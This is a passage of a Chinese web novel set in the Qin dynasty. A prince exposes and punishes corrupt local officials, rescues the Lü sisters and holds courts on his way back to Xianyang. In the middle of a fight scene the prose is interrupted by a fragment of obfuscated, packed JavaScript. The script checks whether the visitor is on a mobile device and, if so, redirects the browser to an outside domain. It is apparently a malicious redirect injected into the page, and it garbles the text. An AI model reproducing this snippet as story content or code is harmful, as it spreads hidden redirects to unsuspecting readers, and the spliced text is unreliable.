县衙门口值守的差役见来人气质不凡,身后随从皆非善类,不敢怠慢,连忙入内通传。
不多时。
沛县县令连同县丞、县尉等一众官吏,连滚爬爬地迎了出来。
个个脸色煞白,冷汗直流。
他们早已接到信报,知晓这位六公子正在返回咸阳的路上,却万万没想到会突然出现在沛县这小小地方!
“下…下官参见公子!不知公子驾临,有失远迎,罪该万死!”
县令噗通一声跪倒在地,声音抖得不成样子。
身后众官吏也呼啦啦跪倒一片,头都不敢抬。
赢子夜看都未看他们,径直走入县衙大堂,拂衣在那原本属于县令的主位之上坐下。
赵弋苍如铁塔般立在他身侧,冰冷的目光扫过堂下跪伏的众人,如同在看一群**。
“本公子途经此地,听闻了一桩案子。”
赢子夜的声音平淡地响起,却如同重锤般砸在每个官吏的心头。
“吕文吕公,被恶徒鬻毆致死,纵火焚屋,意图掳其女。”
“此事,你等可知?”
县令身体猛地一颤,差点瘫软在地,连忙磕头道。
“回…回公子,此案…此案下官知晓。”
“那人确是与吕公发生了口角,失手…失手将其推倒,致其…致其不幸亡故…并非故意鬻毆啊公子!”
“下官已依律判罚其赔偿吕家损失,并…并判其流放北疆服徭役十年……”
“失手?”
赢子夜嘴角勾起一抹冰冷的弧度。
“依律?赔偿?流放?”
他每问一句,堂下的温度便降低一分。
“本公子怎么听说,那恶霸及其党羽,在你这县衙大牢里,只待了一夜,便被完好无损地放了出去?”
“至今仍在沛县地界逍遥法外?”
“这,也是依的哪一条秦律?”
“噗通!”
县令彻底瘫软在地,面无人色,磕头如捣蒜!!
“公子明鉴!公子明鉴啊!下官…下官也是迫不得已…那人他…他…”
“他有个堂姐,是泗水郡守的宠妾。”
“是吗?”
赢子夜替他说了下去,声音如同九幽寒冰。
县令顿时语塞,只剩下无尽的恐惧和磕头求饶的声音。
“好一个迫不得已!好一个泗水郡守!!!”
赢子夜猛地一拍惊堂木!
声音不大,却蕴含着无上威严,震得整个大堂嗡嗡作响,所有官吏肝胆俱裂!
“身为朝廷命官,食君之禄,却罔顾国法,徇私舞弊,纵**人!”
“致使百姓申冤无门,流离失所!”
“你这官,当到头了!!!”
“赵弋苍!”
“卑职在!”
“将此渎职枉法之蠢虫,给本公子拿下!革去官职,打入死牢!”
“一应党羽,全部收监,严加审讯!”
“诺!”
赵弋苍大手一挥,身后如狼似虎的护卫立刻上前,如同抓小鸡般将瘫软的县令及其亲信官吏全部锁拿拖下!
哀嚎求饶之声不绝于耳。
赢子夜面沉如水,正要继续下令彻查郡守,忽听堂外一名暗河精锐快步走入,低声禀报。
“主上,刚收到少司命夫人传来的讯息,有一伙地痞恶霸,约十余人,手持棍棒,正闯入吕家旧宅,意图不轨!”
赢子夜眼中寒芒骤然爆射!
他刚刚拿下县令,这边恶霸就立刻上门?
是巧合?
还是那郡守那边收到了风声,狗急跳墙,想要**灭口,死无对证?!
“好!很好!”
赢子夜缓缓站起身,玄色衣袍无风自动,周身散发出令人窒息的冰冷杀意。
“本公子倒要亲自去看看,这沛县的恶霸,究竟能恶到什么程度!”
“走!”
他一步踏出,身影已至堂外。
赵弋苍及一众护卫立刻紧随其后,煞气腾腾地直扑吕家旧宅方向!
沛县的天,今日注定要变一变了!
……
吕家旧宅后的荒地上。
一座新坟刚刚垒起,泥土尚新。
吕雉和吕素一身孝服,跪在坟前,悲声痛哭,烧着纸钱。
少司命静立一旁,紫纱拂动,清冷的眸子扫视着四周,如同无声的守护者。
就在这悲戚的氛围中,一阵嚣张的呼喝和杂乱的脚步声由远及近!
“妈的!果然躲回这破地方了!”
“两个小娘皮,害得爷爷们好找!还敢给你那死鬼老爹下葬?”
“哟?这还多了个穿紫衣服的?虽然遮着脸,看身段也是个极品!”
“兄弟们,今天有福了!一并带回去!”
以那恶霸为首的十余名地痞,手持棍棒刀斧,骂骂咧咧地围了上来。
他们显然没把眼前三个女子放在眼里,目光猥琐地在吕氏姐妹和少司命身上来回扫视,气焰嚣张至极。
吕雉和吕素吓得脸色惨白,抱在一起,瑟瑟发抖,眼中充满了恐惧。
少司命紫眸之中,瞬间凝结起一层冰寒刺骨的杀意。
这些污言秽语,这些肮脏的目光,让她感到了极度的厌恶!
但她并未立刻下**。
杀他们,太便宜他们了。
就在一名恶霸狞笑着伸手抓向吕素肩膀的瞬间。
少司命动了!!!
她的身影如同鬼魅般一闪,众人只觉眼前一花,甚至没看清动作!
“咔嚓!咔嚓!咔嚓!”
一连串令人牙酸,骨骼被强行错位扭断的脆响,如同爆豆般密集响起!
“啊啊啊——!!!”
凄厉到不似人声的惨叫瞬间爆发出来!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292506|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>那名伸手的恶霸,双臂以一种极其诡异的角度反向扭曲,白森森的骨头茬子甚至刺破了皮肉,鲜血淋漓!
他惨叫着滚倒在地!
但这仅仅是开始!
少司命的身影如同穿花蝴蝶般在恶霸人群中穿梭!
每一次闪现,都必然伴随着骨骼错位的恐怖声响和一声撕心裂肺的惨叫!
有的腿骨被从关节处硬生生踹断,小腿扭曲成一个可怕的弧度!
有的肩胛骨被整个捏碎,胳膊软塌塌地垂落!
有的下巴被卸掉,只能发出“嗬嗬”的漏气声!
有的脖颈被巧妙力道击打,虽未断,却歪向一边,再也正不回来!
她避开了所有要害,专攻四肢关节和让人极端痛苦的部位!
手法精准、冷酷、带着一种近乎艺术的残忍!
短短几个呼吸间!
刚才还嚣张不可一世的十余名恶霸,已然全部躺倒在地。
四肢以各种匪夷所思的角度扭曲着,如同被顽童胡乱拆坏的木偶,发出阵阵令人毛骨悚然的哀嚎和**!
彻底失去了所有反抗能力,连爬都爬不起来!
吕雉和吕素目瞪口呆地看着这一幕,甚至忘记了哭泣。
少司命则已回到原处,紫衣之上纤尘不染,仿佛从未动过。
只有那双冰冷的眸子,扫过地上那群“人彘”,如同看一堆垃圾。
恰逢此时。
赢子夜带着赵弋苍等人赶到了。
看着满地扭曲哀嚎的恶霸,赢子夜眼神毫无波动,只是对少司命微微颔首。
吕雉见到赢子夜,如同见到了主心骨,猛地从地上站起,眼中燃烧着仇恨的凶焰!!
她从一个死去的地痞身边捡起一把掉落的短刀,就要朝着地上惨叫的恶霸心口刺去!
“狗贼!偿我父命来!”
赢子夜却抬手,一股无形的气劲托住了她的手腕。
“现在杀他,太便宜他了。”
赢子夜声音冰冷:“也脏了你的手。”
吕雉抬头,眼中含泪,带着不甘和疑惑。
“放心。”
赢子夜的目光扫过地上所有恶霸,语气平淡却蕴含着绝对的威严和杀意。
“牵扯进此事的所有人,从上到下,有一个算一个,谁都跑不了。”
“他们会得到应有的审判和惩罚,而不是痛快的死亡。”
吕雉看着赢子夜那深邃冰冷的眼眸,手中的短刀缓缓垂下……
她对着父亲的新坟,再次重重跪下,失声痛哭!
那哭声中有悲伤,有委屈,也有大仇即将得报的宣泄。
赢子夜对赵弋苍吩咐道:“把这些废物拖下去,分开严加审讯!”
“把他们做过的所有恶事,尤其是与郡守府的勾结,一五一十,全部给本公子撬出来!”
“再派一队精干人手,立刻前往泗水郡郡守府,给我查!”
“把他贪赃枉法、徇私舞弊、草菅人命的所有证据,都挖出来!记住,要快,要隐秘!”
“诺!”
赵弋苍领命,眼中闪过厉芒,立刻指挥手下如狼似虎地扑向地上那些哀嚎的恶霸。
第255章 点军备马,前往泗水郡城!
翌日。
沛县临时征用的官署内,气氛肃杀。
赢子夜端坐于上,面无表情地听着赵弋苍的禀报。
地上,跪着几名昨夜被连夜审讯,已然不成人形的地痞流氓。
他们是那恶霸的心腹,此刻如同烂泥般瘫软,有问必答,只求速死。
赵弋苍手中捧着一份刚刚整理好的卷宗,声音冷硬如铁。
“主上,据这些渣滓交代,以及我们连夜搜查恶霸窝点所得的账本、信件印证。”
“那泗水郡守曹禺,绝非仅仅纵容亲戚行凶这般简单!”
“这恶霸在沛县乃至周边地区之所以能如此肆无忌惮,强占田产、逼良为娼、私设刑狱,皆因每年向曹禺进献巨额贿赂!”
“且其中多有曹禺暗中指示,为其敛财,清除异己!”
赢子夜指尖轻轻敲击着扶手,眼神微眯。
赵弋苍继续道,语气愈发森寒。
“更甚者,据一名负责往来运送的心腹交代,约一年前,曹禺曾命他暗中组织人手,秘密押送数批物资出境。”
“目的地……疑似百越!”
“嗯?”
赢子夜敲击的动作骤然停止,黑眸中瞬间爆射出骇人的精光!!!
“经核对时间及物资清单,那批物资,正是军械!以及本该供应前线将士的粮草!数量巨大!”
“而那时,正是陛下决议南征,我大秦锐士与百越激战正酣之际!”
赵弋苍深吸一口气,说出石破天惊的真相!
“好!好一个泗水郡守!好一个朝廷命官!”
赢子夜缓缓站起身,声音冰冷得如同万载寒冰,脸上却露出一抹令人胆寒的冷笑。
“明面上是治理一方的‘能吏’,暗地里却是蛀空国本的硕鼠!”
“纵容亲属行凶已是罪该万死,竟还敢盗卖军械资敌?!”
“其罪……当夷三族!!!”
滔天的杀意如同实质般弥漫开来,整个官署的温度骤降!
恰在此时,门外传来通报声。
“禀公子!钟离将军、韩将军、樊将军等人的五千人马已抵达城外!”
赢子夜眼中寒光一闪,来得正好!
他大步向外走去,玄色披风扬起,带着凛冽的寒风。
“赵弋苍!”
“卑职在!”
“带上所有罪证、账本、人犯!点齐兵马!”
“随本公子,前往泗水郡城!”
“诺!”
赵弋苍轰然应命,眼中燃烧着兴奋与杀意。
很快,沛县城门大开!
赢子夜翻身上马,一马当先。
身后,是三百杀气腾腾的暗河精锐与夜枭,以及刚刚抵达,甲胄鲜明,刀枪如林的五千大秦兵甲!
铁蹄铮铮,如同雷鸣,踏碎了沛县清晨的宁静,带着无可抗拒的帝国意志和冰冷的死亡气息,如同一股钢铁洪流,径直朝着泗水郡治所方向,滚滚而去!
沿途百姓无不骇然避让。
看着那玄衣公子一马当先,看着那森严的帝**队,心中皆是惊惧不已。
……
泗水郡城。
郡守府邸深处,丝竹管弦之声靡靡,舞姬翩跹。
郡守曹禺正享受着美酒佳肴,肥硕的脸上满是惬意与贪婪。
突然,书房门被猛地推开,他的心腹师爷连滚爬爬地冲了进来,脸色惨白如纸,甚至顾不上礼节,声音发颤地急呼。
“大人!不好了!出大事了!”
曹禺的好心情瞬间被破坏,不悦地呵斥道。
“慌什么!天还能塌下来不成?!”
师爷喘着粗气,也顾不得许多,压低声音急促道。
“沛县…沛县传来急报!六…六公子赢子夜亲临沛县!已经拿下了县令,还…还把咱小舅子等人全都抓了!”
“严刑拷打,据说…据说已经招供了!”
“什么?!”
曹禺如同被一盆冰水从头浇到脚,猛地从软榻上弹了起来,脸上的肥肉因惊恐而剧烈抖动。
“赢子夜?!他…他不是在南疆吗?怎么会突然跑到沛县来?!”
“那帮废物!都招供了什么?!”
师爷哭丧着脸。
“具体招供了什么还不清楚,但…但沛县那边眼线说,公子雷霆震怒,已经拿到了许多账本和书信。”
“而且…而且公子的车驾已经转向,正朝着我们郡城来了!带着大军!”
“大军?!”
曹禺腿一软,差点瘫坐在地,额头上瞬间布满了冷汗!!
他比谁都清楚自己做的那些事。
贪墨巨额税银,纵容姬妾堂弟为非作歹,甚至…甚至盗卖军械粮草给百越!
任何一条都足够他死上十次!
更何况是数罪并罚!
若是落在以冷酷无情著称的赢子夜手里…
他仿佛已经看到了自己被押赴刑场,千刀万剐的场景!
“不…不行!
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绝不能坐以待毙!”
曹禺眼中闪过极致的恐惧和疯狂,他猛地抓住师爷的胳膊,指甲几乎掐进肉里。
“快!快去传令!关闭四门!所有城门全部关闭!”
师爷一愣。
“关闭城门?大人,这…以何理由?那可是六公子…”
“理由?!”
曹禺歇斯底里地低吼。
“就说有大批山匪伪装成秦军,意图入城劫掠!”
“对!就是这样!快去!让城防军全部上城墙,没有我的命令,谁也不许开城!”
“谁敢擅开,格杀勿论!”
师爷吓得魂飞魄散。
“大人…这…这可是对抗王师啊!这是死罪…”
“现在不反抗也是死罪!”
曹禺面目狰狞。
“按我说的去做!”
“另外,你立刻去把我们养的那些死士都召集起来,分散到城中各处!”
“一旦…一旦城破,或者赢子夜强行入城,就让他们在城中制造混乱!放火!**!”
“就说…就说那是山匪的内应干的!把水搅浑!”
师爷已经吓得说不出话,只觉得这位郡守大人已经疯了。
“还愣着干什么?!快去啊!”
曹禺一脚踹在师爷身上。
“不想一起死就照做!”
师爷连滚爬爬地跑了出去,心中充满了绝望。
他知道这简直是螳臂当车,但此刻他已没有选择。
看着师爷离去,曹禺眼中的疯狂迅速被更深的恐惧和狡黠取代。
他根本就没指望能挡住赢子夜和大军!
这么做,只是为了争取时间!
他立刻如同热锅上的蚂蚁般在房间里乱转,飞快地打开密室,将早已准备好的钱财、地契疯狂地塞进几个包裹里。
“对抗?傻子才对抗!”
他一边手忙脚乱地收拾,一边喃喃自语,脸上露出狠毒之色。
“让你们去送死,替老子拖住他们!老子才有时间从密道溜走…”
他早就给自己留好了后路,一条直通城外的隐秘地道。
只要逃出去,天大地大,总有容身之处!
很快,他背起沉重的包裹,最后贪婪地看了一眼这奢华的府邸,毫不犹豫地钻入了书架后的黑暗密道之中。
郡守府外,关闭城门的命令已下,整个郡城瞬间陷入一片恐慌和混乱之中。
而这一切,都成了他曹禺逃命的***。
第257章 既然没头绪,那就把事情闹大!
泗水郡城。
郡守府已被彻底查封。
府库大门洞开。
里面堆积如山的钱财细软、古玩玉器、绫罗绸缎被一箱箱抬出,在院子里清点登记。
其数量之巨,远超一个郡守应有的俸禄和合法收入。
看得周围负责清点的秦军士卒和文吏都目瞪口呆。
而另一间密室中,更是搜出了大量地契、账本以及未来得及完全焚毁的信件。
赵弋苍捧着几份抢救出来,边缘焦黑的账目,脸色铁青地呈给赢子夜。
“主上,除了贪墨税款,纵容恶霸的罪证外,还发现曹禺多年来利用职权,大肆侵吞,强占军屯民田,将产出中饱私囊的铁证!”
“只是…可惜其与朝中某些人往来的一些核心密信,似乎被提前焚毁了,只剩些残片。”
赢子夜坐在原本属于曹禺的位置上,指尖拂过那些记载着触目惊心罪行的账本和地契,面色平静。
唯有那双黑眸深处,寒意愈盛!
“侵吞军屯,动摇国本…真是死不足惜。”
他声音冰冷。
军屯乃帝国强兵固边之策,此人竟敢伸手,其罪远超贪墨。
就在这时,前往追踪曹禺的暗河精锐返回,入内禀报。
“主上,发现曹禺尸首,于城外三十里处荒山,被人一剑封喉,财物散落一旁,未曾取走。”
“凶手手法凌厉,未留痕迹。”
帐内瞬间一静。
赵弋苍怒道:“灭口?!好快的手脚!”
赢子夜闻言,却并未动怒,反而唇角缓缓勾起一抹似笑非笑的弧度。
笑容中带着冰冷的嘲讽和一种洞察一切的玩味。
“呵呵…看来,本公子的一举一动,都被人牢牢地盯着啊。”
他轻轻敲击着桌面,语气听不出喜怒。
“从沛县到郡城,我们快,他们更快,总能抢先一步,断尾求生。”
他抬起眼眸,看向赵弋苍和那名暗河头目。
“你们说,这藏在幕后之人,此刻是不是正躲在某个角落里,以为烧了些信件,杀了个弃子,便能高枕无忧,看我的笑话?”
赵弋苍等人低头,不敢接话,但心中皆凛然。
公子这话,分明意有所指,且似乎…并不意外?
“他们既然想看,”
赢子夜缓缓站起身,踱到窗边,望着窗外正在被清点的,曹禺搜刮的民脂民膏,声音陡然转冷。
“那便让他们看个够!”
“把这泗水郡的天,捅个窟窿出来!!!”
赵弋苍疑惑抬头。
“主上的意思是?”
赢子夜转身,目光锐利如刀。
“曹禺虽死,但其罪证确凿,罄竹难书!”
“依律,其家产尽数抄没充公,其三族亲属,凡有涉案者,一律下狱论罪!”
“其党羽爪牙,有一个算一个,全部给我揪出来,从严从重处置!”
“将曹禺之罪,及其伏诛之事,明发泗水郡及各下属县乡,公告百姓!”
“诺!”
赵弋苍精神一振,这才是公子雷厉风行的风格!
“还有,”
赢子夜顿了顿,眼中闪过一丝莫测的光芒。
“传令下去,本公子不日即将启程,返回咸阳。”
赵弋苍一愣,这就回去了?
他还以为公子要在此地深挖下去。
然而,赢子夜接下来的话,却让他和帐内所有暗河精锐都吃了一惊。
“通知沿途各郡县……”
赢子夜的声音清晰而平静,却带着一种石破天惊的意味!
“凡有冤屈,有状要告,有吏不法者,无论士农工商,无论案件大小,皆可于本公子歇宿的驿站之外,递状申诉!!!”
“本公子,亲自受理!”
“什么?!”
赵弋苍有些震惊,几乎以为自己听错了!
皇子巡行,受理民讼?
这…这于礼制不合,更是从未有过先例!
更何况,这等于将沿途所有地方官的政绩隐私都置于阳光之下,会引来多大的反弹和风波?!
“主上!此事万万不可!”
赵弋苍急忙劝谏。
“此举恐引起地方动荡,且…且难免有人诬告,耗费心神,亦容易授人以柄啊!”
赢子夜看着他,目光深邃。
“若是诬告,查实反坐即可。”
“但若真有冤屈呢?若真有如吕公那般,求助无门,反遭**的百姓呢?”
他走到那堆搜刮来的财宝前,拿起一锭黄金,语气冰冷。
“曹禺之辈,为何敢如此肆无忌惮?”
“就是因为上下勾结,蒙蔽圣听,让百姓有冤无处申!”
“他们以为杀了曹禺,烧了信件,就能捂住盖子?”
“本公子偏要把这盖子彻底掀开!!!”
赢子夜猛地将黄金掷回箱中,发出哐当一声脆响。
“我倒要看看,这朗朗乾坤之下,到底还藏着多少魑魅魍魉!”
“也要看看,那躲在幕后之人,还能不能坐得住!”
“他们不是喜欢在暗处盯着吗?那就给他们搭个更大的戏台!”
赵弋苍看着赢子夜那坚定而冰冷的眼神,瞬间明白了公子的深意。
这已不仅仅是处理一个郡守的案件。
而是要借此事,搅动整个沿途的官场,甚至…直指咸阳深处的某些势力!!!
这是阳谋!
是逼对方露出马脚的雷霆手段!
“卑职…明白了!”
赵弋苍重重抱拳,眼中闪过兴奋与敬畏。
“卑职立刻去办!定将主上之意,传遍沿途!”
……
消息如同插上了翅膀,迅速从泗水郡城扩散开来。
六公子殿下,将于返回咸阳途中,于各驿站亲受理民讼!
一石激起千层浪!!
整个泗水郡乃至周边郡县的官场瞬间暗流汹涌,人心惶惶!
而无数备受欺压,冤屈难申的百姓,则在震惊、怀疑之后,眼中燃起了前所未有的希望!
……
夜色深沉。
泗水郡守府的书房内烛火摇曳。
赢子夜正批阅着关于曹禺一案的最后几份文书,准备明日启程事宜。
轻轻的叩门声响起。
“进。”
赢子夜头也未抬。
房门被推开。
吕雉和吕素两姐妹怯生生地走了进来。
她们已换上了干净的素衣,但脸上依旧带着未散的悲戚和
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一路风霜留下的憔悴。
两人走到书房中央,互相对视一眼,竟齐齐跪倒在地。
赢子夜这才抬起眼,放下笔,看着跪在地上的姐妹二人,眉头微蹙。
“你二人这是何意?起来说话。”
吕雉抬起头,眼中含着泪水,却带着一种异常的坚定。
她重重磕了一个头,声音带着哭腔却异常清晰。
“恩公!我姐妹二人承蒙恩公两次搭救,更是为我父申雪沉冤,此恩此德,如同再造!”
“我…我姐妹二人无以为报!!!”
她顿了顿,仿佛用尽了全身力气,恳切道。
“如今我二人孤苦无依,家乡已无立足之地,留在此处,只怕日后仍难免遭人欺凌…”
“恳请恩公垂怜,允许我姐妹二人追随恩公左右!”
“即便是为奴为婢,当牛做马,我们也心甘情愿!”
“只求恩公,能给一条活路!!!”
旁边的吕素虽然羞怯,低着头不敢看赢子夜,却也跟着姐姐一起磕头。
细弱的声音带着颤抖。
“求…求公子收留…”
赢子夜看着跪在眼前的姐妹花,一个刚烈果决,一个柔弱温婉,皆是经历了家破人亡的巨大变故。
他本意是替她们申冤后,给予一些钱财,让她们自行安顿。
带入咸阳?
他从未想过。
“咸阳并非安乐之乡,宫中府内,规矩森严,并非你等想象。”
赢子夜声音平淡,意在让她们知难而退。
“你二人可另寻安身之处,本公子会予你们足够钱财,保你们一生衣食无忧。”
吕雉却猛地摇头,泪水滑落。
“恩公!天下之大,若无权势庇护,女子拥有钱财,无异于稚子抱金于市,只会招来更多祸端!”
“今日有那些恶霸地痞,明日未必没有流氓、土匪!”
“我姐妹二人只求依附于恩公羽翼之下,求得一方安稳,绝无他念!求恩公成全!”
她的话语清晰冷静,竟将世间险恶看得分外明白。
吕素也抬起泪眼朦胧的脸,眼中充满了依赖和祈求。
赢子夜沉默了片刻。
他深知吕雉所言非虚。
乱世之中,两个无依无靠的绝色女子,命运往往极为悲惨。
他虽不喜麻烦,但既然插手了此事,似乎也应安排妥当。
看着她们跪地不起,柔弱无依的模样,终究还是心中一叹。
“也罢。”
赢子夜缓缓开口。
“既然你二人心意已决,便随本公子一同前往咸阳吧。”
“府中会给你们安排一处清静院落,保你们衣食无忧,无人敢再欺辱你们。”
吕雉和吕素闻言,瞬间喜极而泣,仿佛漂泊无依的浮萍终于找到了依靠!
连连磕头。
“多谢恩公!多谢公子收留之恩!我姐妹二人必当做牛做马,报答公子大恩!”
“起来吧。”
赢子夜挥了挥手。
“下去好生休息,明日随队出发。”
两姐妹这才相互搀扶着起身,千恩万谢地退了出去,脚步都轻快了几分。
赢子夜看着她们离去的背影,无奈地摇了摇头。
第258章 帝王心术,敲山震虎!
翌日清晨。
郡守府临时充作公堂的大厅内,气氛肃穆。
赢子夜端坐于上,听着赵弋苍禀报昨夜连夜审讯的结果。
“主上,那郡守师爷已全部招认。”
赵弋苍声音冷硬。
“其助曹禺贪墨税银、隐瞒恶霸罪状,以及协助焚毁部分信件账目等事,皆供认不讳。”
“按其供述,已初步追回部分赃款。”
赢子夜指尖轻叩扶手,对此并不意外。
这些罪名,足以让那师爷死上几次了。
“那盗卖军械粮草予百越之事呢?他参与了多少?上线是谁?渠道如何?”
赢子夜追问核心。
赵弋苍却摇了摇头,脸上露出一丝遗憾。
“对此,那师爷似乎确不知情。”
“我们反复拷问,其供词皆一致,只言此事极为隐秘,似是曹禺亲自与某位‘朝中贵人’单线联系,具体操办也由曹禺的心腹死士负责,他并未直接经手。”
“甚至此次焚毁关键信件,也是曹禺亲自下令,他只知道要烧,却不知具体内容。”
赢子夜闻言,脸上并无太多意外之色,只是眼中寒意更深了几分。
“果然如此。”
“这般杀头灭族的大事,曹禺岂会让一个师爷知晓全部?”
“不过是枚用来处理琐碎脏活的棋子罢了。”
他语气平淡,却带着看透一切的冷漠。
“真正的大家伙,还藏在更深的水下。”
“那…这师爷,该如何处置?”
赵弋苍请示道。
按律,其所犯之罪也足够凌迟了。
赢子夜略一沉吟,便淡淡道。
“既已招认,便按《秦律》明正典刑。”
“其所涉贪墨、徇私、包庇等罪,一桩桩、一件件,都给本公子在城门口张贴告示,公布于众!”
“明日午时,闹市口,当众处决!”
“让泗水郡的百姓都看看,贪赃枉法,鱼肉乡里是何下场!”
“诺!”
赵弋苍重重点头。
公子此举,意在震慑宵小,收拢民心。
“另外。”
赢子夜话锋一转,目光锐利如刀,扫向赵弋苍。
“曹禺虽死,但其能盗卖军械,军中必有其内应同党!”
“否则,如此大批军械粮草,如何能无声无息运出?”
他声音陡然严厉。
“传本公子的话至南疆,交给兄长!”
“彻查!”
“给我狠狠地查!”
“凡与曹禺有过接触,有可能参与或知情不报者,无论官职高低,一律严审!”
“凡有违军纪,触犯秦律者,无论背景靠山,一律依军法从事,绝不姑息!!!”
“我要这南疆大军,里里外外,都给彻底清洗一遍!绝不能再有第二条蛀虫!”
赢子夜的声音带着铁血般的冷酷和决绝。
军中**,乃帝国大忌,远比地方贪腐更为致命!
他必须借此机会,将这股歪风邪气彻底铲除!
“卑职遵命!即刻去办!”
赵弋苍感受到赢子夜话语中的杀意,心中一凛,立刻领命而去。
赢子夜独自坐于堂上,手指无意识地敲击着桌面。
曹禺是一条线,但线的另一端,显然还连着更重要的人物。
军中的清洗是第一步,接下来…
就看那条藏在幕后的大鱼,还能忍多久了。
……
数日后。
赢子夜的车驾离开泗水郡,一路向北,朝着咸阳方向行进。
而消息早已如同野火般传遍沿途郡县。
六公子殿下将于沿途驿站受理民讼!!!
这一石破天惊的举动,在死水般的官场掀起了滔天巨浪,也让无数在底层挣扎,冤屈难申的百姓看到了前所未有的希望。
车驾所过之处,景象惊人。
几乎每一处预定歇脚的驿站之外,早已黑压压地跪满了从四面八方赶来的百姓!
他们扶老携幼,手持状纸,有的甚至头顶**,哭声、喊冤声震天动地!
“公子殿下!为我们做主啊!”
“县尉强占我家田产,逼死我儿啊!”
“乡绅勾结官府,将我女儿抢去为奴啊!”
“求公子申冤!”
赢子夜并未食言。
他当真于每一处驿站临时开设公堂。
虽行程被大大拖延,却依旧耐心听取一桩桩血泪控诉。
赵弋苍率领的暗河与随行文吏则飞速核实查证。
其结果,便是赢子夜的车驾之后,留下了一条由贪官污吏,豪强恶霸的鲜血铺就的道路!!
有县令因纵容亲属圈地,鬻毆人命,被当场拿下,革职查办,押赴咸阳受审!
有郡丞因贪墨修河款项,导致堤坝溃决,淹死百姓数百。
被赢子夜下令就地正法,人头悬挂城门示众!
更有当地豪族,因私设公堂,草菅人命,被如狼似虎的秦军破门而入。
主要犯事者尽数斩首,家产抄没充公,赔付苦主!
赢子夜处理这些案件,雷厉风行,毫不容情!!!
证据确凿者,当即判决!
稍有疑点者,扣押严查!
其手段之酷烈,效率之高,令所有官员豪强闻风丧胆,也让无数百姓拍手称快,直呼“青天”!
“这…这六公子一路行来,简直是…是一路杀过来的啊!”
沿途官员得到消息,无不两股战战,面无人色,拼命遮掩自己任上的不法之事,生怕成为下一个被清算的对象。
而赢子夜,则在一片**与恐惧战栗交织的复杂目光中,继续着他的行程。
他的脸色始终平静。
唯有那双深邃的黑眸,愈发冰冷,仿佛能洞穿一切魑魅魍魉。
……
咸阳。
麒麟殿。
早朝的气氛压抑得如同暴风雨前的海面。
沉闷得令人窒息。
文武百官垂首肃立,许多人额角都沁着细密的冷汗,甚至连呼吸都刻意放得轻缓,生怕引起那御阶之上至尊的注意。
一道道关于六公子赢子夜沿途所作所为的急报,如同冰冷的刀子,接连不断地传回咸阳。
也在每一位朝臣的心中掀起惊涛骇浪。
当街处决郡丞!
抄没豪族!
拿下县令!
受理民讼,雷厉风行,杀伐果断!!!
每一桩消息传来,都让殿内某些官员的脸色更白一分。
他们虽未直接参与那些
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龌龊事,但官场盘根错节,谁又能保证自己绝对干净?
谁又能保证下一个被六公子那无情利剑指着的,不是自己?
这位低调隐忍了十多年的六公子,不出手则已,一出手竟是如此石破天惊!
手段酷烈得令人胆寒!
这已不仅仅是清理地方吏治,更像是一场席卷而来的风暴,让整个朝堂都为之震颤!
胡亥站在百官前列,低垂着眼睑,嘴角却难以抑制地勾起一抹极其细微冰冷的弧度。
他心中暗自冷笑。
“好一个赢子夜!好一个‘青天’!”
“你以为你是在肃清吏治,揪出幕后黑手?”
“殊不知,你杀的,不过都是些我早已想除掉,或是无足轻重的弃子罢了!”
“你清理得越狠,朝堂上留下的,才越是‘干净’听话的人!”
他对自己和老师的手段极有信心。
所有可能牵连到他们的线索早已被掐断,甚至故意留下一些无关紧要的“把柄”让赢子夜去发现,去清除。
赢子夜越是卖力,反而越是在帮他们扫清障碍。
他此刻甚至有些期待赢子夜回来了。
真想看看他那“辛劳”后的表情。
而与此同时。
御阶之上,珠帘之后,嬴政端坐于龙榻,面无表情地听着内侍诵读那些来自各地的奏报。
他深邃的目光扫过殿下那些神色各异的臣子,将众人的惊惧、不安、各种得意尽收眼底。
直到内侍诵读完毕,殿内陷入一片死寂,落针可闻。
嬴政这才缓缓开口,声音平静无波,却带着重如山岳的压迫感。
“子夜所为,虽于礼制略有不合,然其心可嘉,其行果决。”
“尔等皆为大秦柱石,当时刻警醒自身,恪尽职守,体恤民瘼。”
“若自身持正,何须惧刀斧加身?”
一句话,既肯定了赢子夜的行为,又警告了百官。
敲山震虎,帝王心术运用得淋漓尽致!!
百官纷纷躬身应诺。
“臣等谨遵陛下教诲!”
嬴政微微颔首,似乎不愿再多谈此事,话锋一转,问道。
“李斯。”
“臣在。”
李斯立刻出列。
“帝宫之学修造之事,进展如何了?”
嬴政问道。
此事关乎帝国未来人才培育,他极为重视。
李斯恭敬回道:“启禀陛下,帝宫之学已于三日前全面竣工,一应典籍、教**均已到位,只待遴选适龄子弟入学。”
“嗯。”
嬴政脸上露出一丝极淡的满意之色。
“做得不错。待子夜回咸阳后,此事便交由他来统筹安排吧。”
此言一出,殿下不少官员心中又是一动!
陛下这是要将这培育帝国未来根基的重任,也交给六公子?
其中意味,耐人寻味。
胡亥低着头,嘴角那抹冷笑微微僵硬了一下。
眼中,闪过一丝不易察觉的阴霾!
“退朝吧。”
嬴政挥了挥手,不再多言。
“恭送陛下!”
百官齐声躬身,直到那玄色帝袍消失在屏风之后,才敢缓缓直起身,许多人早已汗湿重衣。
第259章 暗流涌动!
中车府令官署。
最深处的密室。
烛火将赵高那张苍白无须的脸映照得阴晴不定。
掩日与六剑奴如同融入阴影的雕像,静立一旁,汇报着百越之行的结果。
九魔封印已开,虽未能完全控制,但已成功释放并暂时引走。
以及赢子夜,最终获得了楚国宝盒的消息。
“楚国宝盒…如今都已落入赢子夜之手了么?”
赵高指尖轻轻敲击着桌面,发出“嗒…嗒…”的轻响,声音尖细低沉,听不出喜怒。
“这位六公子,倒是好运气,也好手段。”
他缓缓抬起眼眸,那眼中没有丝毫得到九魔力量的喜悦,反而闪烁着更加深沉和诡谲的光芒。
“七个宝盒,皇室已得其六。”
“既然如此,那咱家…便再帮他一把。”
赵高嘴角勾起一抹冰冷诡异的笑容。
“总不能让他一个人唱独角戏。”
他看向掩日:“我们手中那枚赵国的宝盒,存放得可还安稳?”
掩日低沉回应。
“万无一失。”
“很好。”
赵高微微颔首,眼中精光流转。
